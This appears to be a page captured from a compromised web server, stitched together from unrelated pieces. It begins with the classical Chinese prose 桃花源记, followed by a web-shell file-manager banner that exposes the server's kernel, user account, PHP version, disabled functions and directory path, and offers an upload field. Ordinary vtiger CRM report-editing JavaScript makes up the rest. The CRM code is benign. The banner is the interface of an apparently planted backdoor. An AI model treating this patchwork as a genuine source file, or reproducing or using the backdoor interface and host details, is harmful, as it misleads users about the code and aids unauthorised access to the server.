晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/akaindir/www/crm/layouts/v7/modules/Reports/resources/ |
Upload File : |
/*+***********************************************************************************
* The contents of this file are subject to the vtiger CRM Public License Version 1.0
* ("License"); You may not use this file except in compliance with the License
* The Original Code is: vtiger CRM Open Source
* The Initial Developer of the Original Code is vtiger.
* Portions created by vtiger are Copyright (C) vtiger.
* All Rights Reserved.
*************************************************************************************/
Reports_Edit_Js("Reports_Edit1_Js",{},{
relatedModulesMapping : false,
step1Container : false,
secondaryModulesContainer : false,
init : function() {
this.initialize();
},
/**
* Function to get the container which holds all the reports step1 elements
* @return jQuery object
*/
getContainer : function() {
return this.step1Container;
},
/**
* Function to set the reports step1 container
* @params : element - which represents the reports step1 container
* @return : current instance
*/
setContainer : function(element) {
this.step1Container = element;
return this;
},
/*
* Function to get the secondary module container
*/
getSecondaryModuleContainer : function(){
if(this.secondaryModulesContainer == false){
this.secondaryModulesContainer = jQuery('#secondary_module');
}
return this.secondaryModulesContainer;
},
/**
* Function to intialize the reports step1
*/
initialize : function(container) {
if(typeof container == 'undefined') {
container = jQuery('#report_step1');
}
if(container.is('#report_step1')) {
this.setContainer(container);
}else{
this.setContainer(jQuery('#report_step1'));
}
this.intializeOperationMappingDetails();
},
/**
* Function which will save the related modules mapping
*/
intializeOperationMappingDetails : function() {
this.relatedModulesMapping = jQuery('#relatedModules').data('value');
},
/**
* Function which will return set of condition for the given field type
* @return array of conditions
*/
getRelatedModulesFromPrimaryModule : function(primaryModule){
return this.relatedModulesMapping[primaryModule];
},
loadRelatedModules : function(primaryModule){
var relatedModulesMapping = this.getRelatedModulesFromPrimaryModule(primaryModule);
var options = '';
for(var key in relatedModulesMapping) {
//IE Browser consider the prototype properties also, it should consider has own properties only.
if(relatedModulesMapping.hasOwnProperty(key)) {
options += '<option value="'+key+'">'+relatedModulesMapping[key]+'</option>';
}
}
var secondaryModulesContainer = this.getSecondaryModuleContainer();
secondaryModulesContainer.html(options).trigger("change");
},
registerPrimaryModuleChangeEvent : function(){
var thisInstance = this;
jQuery('#primary_module').on('change',function(e){
var primaryModule = jQuery(e.currentTarget).val();
thisInstance.loadRelatedModules(primaryModule);
});
},
/*
* Function to check Duplication of report Name
* returns boolean true or false
*/
checkDuplicateName : function(details) {
var aDeferred = jQuery.Deferred();
var moduleName = app.getModuleName();
var params = {
'module' : moduleName,
'action' : "CheckDuplicate",
'reportname' : details.reportName,
'record' : details.reportId,
'isDuplicate' : details.isDuplicate
}
app.request.get({data:params}).then(
function(error,data) {
if(data.success == true) {
aDeferred.reject(data);
} else {
aDeferred.resolve(data);
}
},
function(error,err){
aDeferred.reject();
}
);
return aDeferred.promise();
},
submit : function(){
var thisInstance = this;
var aDeferred = jQuery.Deferred();
var form = this.getContainer();
var formData = form.serializeFormData();
var params = {};
var reportName = jQuery.trim(formData.reportname);
var reportId = formData.record;
var schtype = formData.schtypeid;
if(schtype == '5' && formData.enable_schedule == "true") {
var dateFormat = form.find('#schdate').data('date-format');
var schDate = formData.schdate;
var schTime = formData.schtime;
var timeFormatPattern = /AM|PM/;
if(timeFormatPattern.test(schTime)) {
var schHours = parseInt(schTime.match(/^(\d+)/)[1]);
var schMinutes = parseInt(schTime.match(/:(\d+)/)[1]);
var AMPM = schTime.match(/\s(.*)$/)[1];
if(AMPM == "PM" && schHours < 12) {
schHours = schHours + 12;
}
if(AMPM == "AM" && schHours == 12){
schHours = schHours - 12;
}
var sHours = schHours.toString();
var sMinutes = schMinutes.toString();
if(schHours < 10){
sHours = "0" + sHours;
}
if(schMinutes < 10){
sMinutes = "0" + sMinutes;
}
schTime = sHours + ":" + sMinutes;
}
var dateFormatParts = dateFormat.split("-");
var schDateParts = schDate.split("-");
var schTimeParts = schTime.split(':');
var schDateTimeInstance = new Date(schDateParts[dateFormatParts.indexOf('yyyy')], parseInt(schDateParts[dateFormatParts.indexOf('mm')]) - 1,
schDateParts[dateFormatParts.indexOf('dd')], schTimeParts[0], schTimeParts[1]);
var currentDateTimeInstance = new Date();
if(schDateTimeInstance < currentDateTimeInstance) {
params = {
message: app.vtranslate('JS_SCHEDULED_DATE_TIME_ERROR'),
};
app.helper.showErrorNotification(params);
return aDeferred.reject();
}
}
app.helper.showProgress();
thisInstance.checkDuplicateName({
'reportName' : reportName,
'reportId' : reportId,
'isDuplicate' : formData.isDuplicate
}).then(
function(data){
app.request.post({data:formData}).then(
function(err,data) {
form.hide();
app.helper.hideProgress();
aDeferred.resolve(data);
},
function(error,err){
}
);
},
function(data, err){
app.helper.hideProgress();
params = {
title: app.vtranslate('JS_DUPLICATE_RECORD'),
text: data['message']
};
app.helper.showErrorNotification({"message":app.vtranslate("JS_DUPLICATE_RECORD")});
aDeferred.reject();
}
);
return aDeferred.promise();
},
/**
* Function which will register the select2 elements for secondary modules selection
*/
registerSelect2ElementForSecondaryModulesSelection : function() {
var secondaryModulesContainer = this.getSecondaryModuleContainer();
vtUtils.showSelect2ElementView(secondaryModulesContainer,{maximumSelectionSize: 2});
},
/**
* Function to register event for scheduled reports UI
*/
registerEventForScheduledReprots : function() {
var thisInstance = this;
jQuery('input[name="enable_schedule"]').on('click', function(e) {
var element = jQuery(e.currentTarget);
var scheduleBoxContainer = jQuery('#scheduleBox');
if(element.is(':checked')) {
element.val(element.is(':checked'));
scheduleBoxContainer.removeClass('hide');
} else {
element.val(element.is(':checked'));
scheduleBoxContainer.addClass('hide');
}
});
var currentYear = new Date().getFullYear();
jQuery('#annualDatePicker').datepick({autoSize: true, multiSelect:100,monthsToShow: [1,2],
minDate: '01/01/'+currentYear, maxDate: '12/31/'+currentYear,
yearRange: currentYear+':'+currentYear,
onShow : function() {
//Hack to remove the year
thisInstance.removeYearInAnnualReport();
},
onSelect : function(dates) {
var datesInfo = [];
var values = [];
var html='';
// reset the annual dates
var annualDatesEle = jQuery('#annualDates');
thisInstance.updateAnnualDates(annualDatesEle);
var dateFormat = annualDatesEle.data('date-format');
for(index in dates) {
var date = dates[index];
datesInfo.push({
id:thisInstance.DateToYMD(date),
text:thisInstance.DateToYMD(date)
});
values.push(thisInstance.DateToYMD(date));
html += '<option selected value='+thisInstance.DateToYMD(date)+'>'+app.getDateInVtigerFormat(dateFormat,date)+'</option>';
}
annualDatesEle.append(html);
annualDatesEle.trigger("change");
}
});
var annualDatesEle = jQuery('#annualDates');
thisInstance.updateAnnualDates(annualDatesEle);
},
removeYearInAnnualReport : function() {
setTimeout(function() {
var year = jQuery('.datepick-month.first').find('.datepick-month-year').get(1);
jQuery(year).hide();
var monthHeaders = jQuery('.datepick-month-header');
jQuery.each(monthHeaders, function( key, ele ) {
var header = jQuery(ele);
var str = header.html().replace(/[\d]+/, '');
header.html(str);
});
},100);
},
updateAnnualDates : function(annualDatesEle) {
annualDatesEle.html('');
var annualDatesJSON = jQuery('#hiddenAnnualDates').val();
var dateFormat = annualDatesEle.data('date-format');
if(annualDatesJSON) {
var hiddenDates = '';
var annualDates = JSON.parse(annualDatesJSON);
for(i in annualDates) {
var dateParts = annualDates[i].split('-');
var dateInstance = new Date(dateParts[0], parseInt(dateParts[1])-1, dateParts[2]);
hiddenDates += '<option selected value='+annualDates[i]+'>'+app.getDateInVtigerFormat(dateFormat,dateInstance)+'</option>';
}
annualDatesEle.html(hiddenDates);
}
},
DateToYMD : function (date) {
var year, month, day;
year = String(date.getFullYear());
month = String(date.getMonth() + 1);
if (month.length == 1) {
month = "0" + month;
}
day = String(date.getDate());
if (day.length == 1) {
day = "0" + day;
}
return year + "-" + month + "-" + day;
},
registerEventForChangeInScheduledType : function() {
var thisInstance = this;
jQuery('#schtypeid').on('change', function(e){
var element = jQuery(e.currentTarget);
var value = element.val();
thisInstance.showScheduledTime();
thisInstance.hideScheduledWeekList();
thisInstance.hideScheduledMonthByDateList();
thisInstance.hideScheduledAnually();
thisInstance.hideScheduledSpecificDate();
if(value == '2') { //weekly
thisInstance.showScheduledWeekList();
} else if(value == '3') { //monthly by day
thisInstance.showScheduledMonthByDateList();
} else if(value == '4') { //Anually
thisInstance.showScheduledAnually();
} else if(value == '5') { //specific date
thisInstance.showScheduledSpecificDate();
}
});
},
hideScheduledTime : function() {
jQuery('#scheduledTime').addClass('hide');
},
showScheduledTime : function() {
jQuery('#scheduledTime').removeClass('hide');
},
hideScheduledWeekList : function() {
jQuery('#scheduledWeekDay').addClass('hide');
},
showScheduledWeekList : function() {
jQuery('#scheduledWeekDay').removeClass('hide');
},
hideScheduledMonthByDateList : function() {
jQuery('#scheduleMonthByDates').addClass('hide');
},
showScheduledMonthByDateList : function() {
jQuery('#scheduleMonthByDates').removeClass('hide');
},
hideScheduledSpecificDate : function() {
jQuery('#scheduleByDate').addClass('hide');
},
showScheduledSpecificDate : function() {
jQuery('#scheduleByDate').removeClass('hide');
},
hideScheduledAnually : function() {
jQuery('#scheduleAnually').addClass('hide');
},
showScheduledAnually : function() {
jQuery('#scheduleAnually').removeClass('hide');
},
registerEvents : function(){
this.registerPrimaryModuleChangeEvent();
//schedule reports
this.registerEventForScheduledReprots();
this.registerSelect2ElementForSecondaryModulesSelection();
vtUtils.applyFieldElementsView(this.getContainer());
this.registerEventForChangeInScheduledType();
}
});